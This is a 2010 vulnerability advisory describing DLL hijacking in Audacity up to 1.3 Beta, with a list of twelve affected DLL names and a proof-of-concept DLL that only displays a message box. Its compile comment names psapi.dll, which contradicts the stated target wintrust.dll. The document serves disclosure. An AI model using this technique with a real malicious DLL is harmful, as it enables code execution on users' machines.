Revision: Audacity <= 1.3 Beta Multiple Local Vulnerabilities ===> Audacity <= 1.3 Beta DLL Hijacking Vulnerability

[Salvatore Fresta aka Drosophila <drosophilaxxx@xxxxxxxxx>]

Audacity <= 1.3 DLL Hijacking Vulnerability

 Name              Audacity
 Vendor            http://audacity.sourceforge.net
 Versions Affected <= 1.3 Beta

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-10-29

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

Audacity is free, open source software  for recording and
editing sounds.


II. DESCRIPTION
_______________

The  vulnerability  is  caused  due  to  the  application
loading libraries in an insecure manner.

I tested the versions  1.2.6  (stable) and the  1.3 Beta.

Other versions could be vulnerable.


III. ANALYSIS
_____________

Summary:

 A) DLL Hijacking


A) DLL Hijacking
________________

The Audacity's  installation folder  by  defaul t doesn't 
contains DLLs files. When it  tries to  load  some  DLLs,
first  of  all, looks at the installation  directory  and
after in system32 directory.
Due of this is  possible  to hijack the load operation in
order to load a malicious DLL file with the same name.
The following is the list of affected DLLs:

wintrust.dll
msasn1.dll
msacm32.dll
midimap.dll
wsock32.dll
ws2_32.dll
ws2help.dll
winmm.dll
lpk.dll
usp10.dll
setupapi.dll
crypt32.dll


IV. SAMPLE CODE
_______________

A) DLL Hijacking


The  following   is   the   sample   code   (evil.c)  for
wintrust.dll:

// compile: gcc -shared -o psapi.dll evil.c

#include <windows.h>
 
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 
    MessageBox(0, "DLL Hijacking!", "Salvatore Fresta", MB_OK);
 
    return TRUE;
}


V. FIX
______

No fix.